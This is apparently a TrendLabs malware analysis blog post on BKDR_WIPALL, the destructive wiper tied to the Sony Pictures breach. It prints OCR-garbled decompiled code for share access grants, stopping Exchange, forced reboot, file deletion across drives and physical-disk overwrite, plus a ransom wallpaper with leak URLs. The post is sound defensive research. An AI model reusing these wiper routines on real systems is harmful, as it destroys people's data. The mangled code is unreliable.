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TrendLabs engineers were recently able to obtain a malware sample of
the "destructive malware" described in reports about the Federal Bureau
of Investigation (FBI) warning to U.S. businesses last December 2.
According to Reuters, the FBIl issued a warning to businesses to remain
vigilant against this new "destructive" malware in the wake of the recent
Sony Pictures attack. As of this writing, the link between the Sony breach
and the malware mentioned by the FBI has yet to be verified. The FBI
flash memo titled "#A-000044-mw" describes an overview of the malware
behavior, which reportedly has the capability to override all data on hard
drives of computers, including the master boot record, which prevents
them from booting up. Below is an analysis of our own findings: Analysis
of the BKDR_WIPALL Malware Our detection for the malware detailed in
the FBI report is BKDR_WIPALL. Below is a quick overview of the infection
chain for this attack.
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WIPALL infection chain

The main installer here is diskpartmg16.exe (detected as BKDR_WIPALL.A).
BKDR_WIPALL.A's overlay is encrypted with a set of user names and
passwords as seen in the screenshot below:

BOBIEBED [Hiew 7.51 (cISEN

Figure 1. BKDR_WIPALL.A's overlay contains encrypted user names and

passwords

These user names and passwords are found to be encrypted by XOR
0x67 in the overlay of the malware sample and are then used to log into
the shared network. . Once logged in, the malware attempts to grant full
access to everyone that will access the system root.
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1ﬂ Preudocode-0 |
o \MED =)Bu1A[257] = O
wiR[259] = 0;
wi = GekTickBount{);
srand{us);
strepy{{char s}uih, (const char =){260 & rand{) T 10 = AZATSRA));
wh = GetTickGount{);
sprintF{&nizplaytiane, "Lskd™, “Rashgrp™, vd);
strepy(Bul?, "Rassecrulty™);
wi & fchar s)1pExistingFileHame
strrchr{lpExistingFileMamne, $2):
resull = sub_MHOE®{al, lpHserHane, lpPassword);
1F [ f{unsigned Int)resulc = w2000 )
L1

Sleep] @Bxdiu) §

spraintF{{char =)&F dleHame , "VAAESVadaing™, a1);

iF { BetFiledttributesa{&F i letane) == =1 )

{
sprInEF{{ehar «)uls, “WAA\EsVisharedi\\systend?™, a1);
sprintF{{char =)oid, “WAAAESV\sharedd\ sysvoudh™, a1);
strepylfctar *}EBInaryPatiiane, “cpd.exe fg fo net share sharedd-Tsystemfoot®y SGRANT teveryone FULL");
vy = sub KEVIDEB{a1, &DisplogMame, GElnacyglathiMomse);
Eleep{Bedhu);
GetFileAtiributesaduis) 1= =13
iF { (unsigned int)ud € Gx2000 )

4
LABEL_22:
sub_WI19@8{a1);
return ulbg

Wf = fehar s)IpExistingFlleHane g
}
Belog
{

sprintff{char =315, WA adadnd\ \Spstend?”, 21):
sprintF{{char =3eil, “SA0ES\adnind\hsypswmoudn® . 0133

b

Sub_W12B0(v7, {int)huis, {int)wib);

uf = Sub WI2BO0{uT, {lnC)ws, (lnt)w1h);
sprintF(Bezn, “RSAVEST, u1h; wih);

iF ¢ funsigned int)ed d= ke2@bb )

i
sl BEISEE{@B, BuR0);
if { GetFiledttvibotesAdaF ilelane) == =1 §
sub_LI10B(a1, BDisplayHane, “cnd exe fg fo net share 5I'hlrl-ﬂ$ Sdelete):
iF 4% )
sprinté{be1%, “¥s T&", vih, ab%);
clse
stroppl{Bul®, vik);
uf = sub NETIDE(a1, Bul?, E010):
Sheepy Bobhu) ;
1f  we 1= @192 KE v? 0= 8993 )
1
iF { sub HD2GE0(41, (Eint)lplserame, {int)lplassword, (intjBuza) == 1 )
uld = 8192;
¥

b
gota LABEL 237

return vesull;
¥
sub_d013 &6

Figure 2. Code snippet of the malware logging into the network

The dropped net_var.dat contains a list of targeted hostnames:
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B Hiew: net_verdat

s - x - Ll
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Figure 3. Targeted host names

The next related malware is igfxtrayex.exe (detected as BKDR_WIPALL.B),
which is dropped by BKDR_WIPALL.A. It sleeps for 10 minutes (or 600,000

milliseconds as seen below) before it carries out its actual malware
routines:

|| -+ @FeE Doeesanl iz 'f'g'i's&i':m.mmsﬂs
. ‘Eﬂ?as CEE mgHEEI:l'.IUHEﬁ‘D PTR DS:[<&KERNEL3Z2.S1eepi] kerne | 32. Sleep
. 6B COZTOIED | PUSH 927C0 [ cut = GODRER. ms
. FFD& EALL ESI Sleep
« B 31000000 |HOU ECX.31

Figure 4. BRDR_WIPALL.B (igfxtrayex.exe) sleeps for 10 minutes
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Figure 5. Encrypted list of usernames and passwords also present in
BKDR_WIPALL.B

dword 4128E8 = inEt_aﬂdP{”?H: | i TH
word_N1Z2BE4 = BOBO;

dword H1Z8E6 = inet_addr("21] [Tl B
word_H120ER = BO0O;

dword 4120EC = inet_adde("88.77 ™7 04");
word _H120F0 - B000;

word H13920 = 2014;

word_&13922 = 185

word_W13%926 = 263

word_413928 = 5;

word_W13924 = 30;

result = af BYTE «){«{ DWORD «)(dword_H13ADC + h) + 1);
switch { result )

case 1087:
Sleep( 0x927C0u) ;
best [ B;
memset{Gui, 0, BxZ204u);
uli = @z
wescpyu{&best, L"-w");
sub_ 482938 (int)&best);
Sleep( BxBB8u) ;
wescpy{&lest, L"-m");
sub_482938( (int)&Dest);
Sleep({ @xBBBu) ;
wescpyu{Blest , L'-d");
sub_ LE2938( {int)kbest);
WiAStartup( Bx202u, &USAData);
sub_ 4O2FS0{Eunk H138FR);
dvord_#1391C = 4;
sub_4B82698();
sub_4O33EB("cmd.exe Sc net stop MEExchangellS fy™);
Sleep{ Mx6DODOGU) ;
result = sub HO2D10O();
break;

case 1080:
1 = CreateThread{@, @, (LPTHREAD START ROUTIHE)Startaddress, @, 08, 0);
WaitForSingledbject{ui, BFFFFFFFFu);
result = CloseHandle{ul);
break;

case 109:
result = sub_ H01430();
break;

case 119:
result = sub_W027A0();
break;

¥
return result;

H

Figure 6. Code snippet of the main routine of igfxtrayex.exe (BKDR_WIPALL.B)
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This malware’s routines, aside from deleting users' files, include stopping
the Microsoft Exchange Information Store service. After it does this, the
malware sleeps for another two hours. It then forces the system to
reboot.

ull = EeturrentProcess();
result = OpeaProcessToken{vd, Ox28u, GTolenHandle);
if [ resulk )
L1
LookupPrivilegetalueW{0, L*'SeShutdownPrivilege, (PLUID)HewState Privileges);
Heitate PrivilegeCount = 13
Hewitate Privileges[ 0] .Attributes = 2;
fd just TokeaPrivileges{ Tokenlandle, @, BHesitate, @, 0, @);
1iF { GerlastEriar{)y )
result = @7
elae
resull = EXitiindowsE=] "\x06° , @) ¥= @;
¥

return result

Figure 7. Code snippet of the force reboot

It also executes several copies of itself named taskhost{random 2
characters}.exe with the following parameters:

taskhost{random 2 characters}.exe -w - to drop and execute the
component Windows\iissvr.exe

khost{random 2 characters}.exe -m - to drop and execute
an ows{\gemp\uszb rv32.sys 4 P xecd

taskhost{random 2 characters}.exe -d - to delete files in all fixed or
remote (network) drives

swprintf{(wchar_t =)&itring, (size EIL"Zsh\=.=", Format};
v1 = FindFirstFileW{&String, &FindFileData};
if { vl == {HAHDLE)-1 )

result = 1;
}
else

{
do

swprintf{EHunber0fBytesWritten, (size_t)L"%s\\¥s™, Format, FindFileData.cFileMame);
if { FindFileData.dwFilefttributes & @18 )
{
if { wescep{FindFileData.cFileHame, L™.")
G wescap(FindFileData.cFileHame, L*™..")
Bi _wcsicmp{&Buffer, BHumberOfBytesiiritten) )

if { _wcsicmp{&pszPath, EHunberOfBytesWritten) )
sub_&B2200{ EHumberOfBytesiritten);
H
b
else
i
sub_W@2458( HunberDfBytesritten);
DeleteFileW{&Hunber0fBytestritten);
¥
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Figure 8. The malware deletes all the files (format *.%) in fixed and network drives

The malware components are encrypted and stored in the resource

below:

ull = sub_LOIT20(};

w1 = GetHoduleHandleW{d);
ya = iz

if { v )

4

ud = FindResourceW;

vl = FindResourceW{uv1, (LPCWUSTR)Ox83, L"ICOMH_PACKAGES");
us = LoadResource(v?, vh);

uidt = L"ICOH _PACKAGES";

vh = uh;g
vis = 131;
]
else
i

v3 = FindResourceW;

ui = FindResourceW({u1, (LPCUSTR)BxE81, L“ICON_PACKAGES™);
v = LoadResourcef{uw?, wi);

vl = L"ICDN_PACKAGES™;

uh = ulj;

w15 = 129;

¥

ue = pAfu?, (LPCWSTRIU1S, wild):

y18 = SizeofResource(u?, u%);

ElobalUnlock{ud);

sub_L@1808(&18);

uil = B3

sub_H81230(va, vid);

GetTenpPathW{0x40By, BFormat);

suprintf{{wchar_t #»)&FileName, (size tIL"%s%s_sys™, BFormat, L“ushbdrud™);
il = CreatefFilel(&FileHane, GxL0000000u, 3u, 6, 2u, Bx80u, 0);
vi2 = u11:

if { vi1 == (HAKDLE)=1 )

vig = =13
sub_&O1030(&u18);
result = @;

}

else

WriteFile{vi1, w6, vi@, GHumberDfBytestiritten, @);
CloseHandle{ui12);

Figure 9. BKDR_WIPALL.B malware components

Additionally, BKDR_WIPALL.B accesses the physical drive that it attempts
to overwrite:

wutr = my_wwumar - oawn awcw g
vid = = DWUORD #)sicalbrived”;

Uzt = byte_ HOF1%A;

uih = word LOF148;

Y29 = #{ DWORD =)"wDisk\\TTAN";

strepy{ {char =)&FileMame, (const char =)&uld):
w32 = #{ DWORD =)"\\PhysicalDrive@";

uih = af DHORD =)' vel';

Figure 10. BRDR_WIPALL.B overwrites physical drives
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We will be updating this post with our additional analysis of the WIPALL
malware. Analysis by Rhena Inocencio and Alvin Bacani Update as of
December 3, 2014, 5:30 PM PST Upon analysis of the same WIPALL
malware family, its variant BKDR_WIPALL.D drops BKDR_WIPALL.C, which
in turn, drops the file walls.bmp in the Windows directory. The .BMP file is
as pictured below:

We continue till our mmt be met.
We've obtained all your internal data inmdl 1
if you don’t obey us, we'll release data sho pelwtutllewlrlll
Determine ﬂm will you do till November m*z-ﬂl:, 11:00 PM(GMT).
Data Link : "
htlps.{fm.nl]— ™ * ., 'ﬂaﬁ.d;
http:// demmgeiimn w1 somn comonn wems "™ Bata.zip
http://www.ntosl.=s, =0 Sl a.zip :
http:/ /wwW.th smme e = Hllala.zip
_http://moodle.uisls sllldicsalsch.com.br/SPEData.zip

Figure 11. Dropped wallpaper

This appears to be the same wallpaper described in reports about the
recent Sony hack last November 24 bearing the phrase "hacked by
#GOP." Therefore we have reason to believe that this is the same
malware used in the recent attack to Sony Pictures. Note that
BKDR_WIPALL.C is also the dropped named as igfxtrayex.exe in the same
directory of BKDR_WIPALL.D. We will update this blog entry for more
developments. Additional analysis by Joie Salvio Our coverage of the Sony
attack continues as we spot more developments. Here is a list of our
stories related to this incident:
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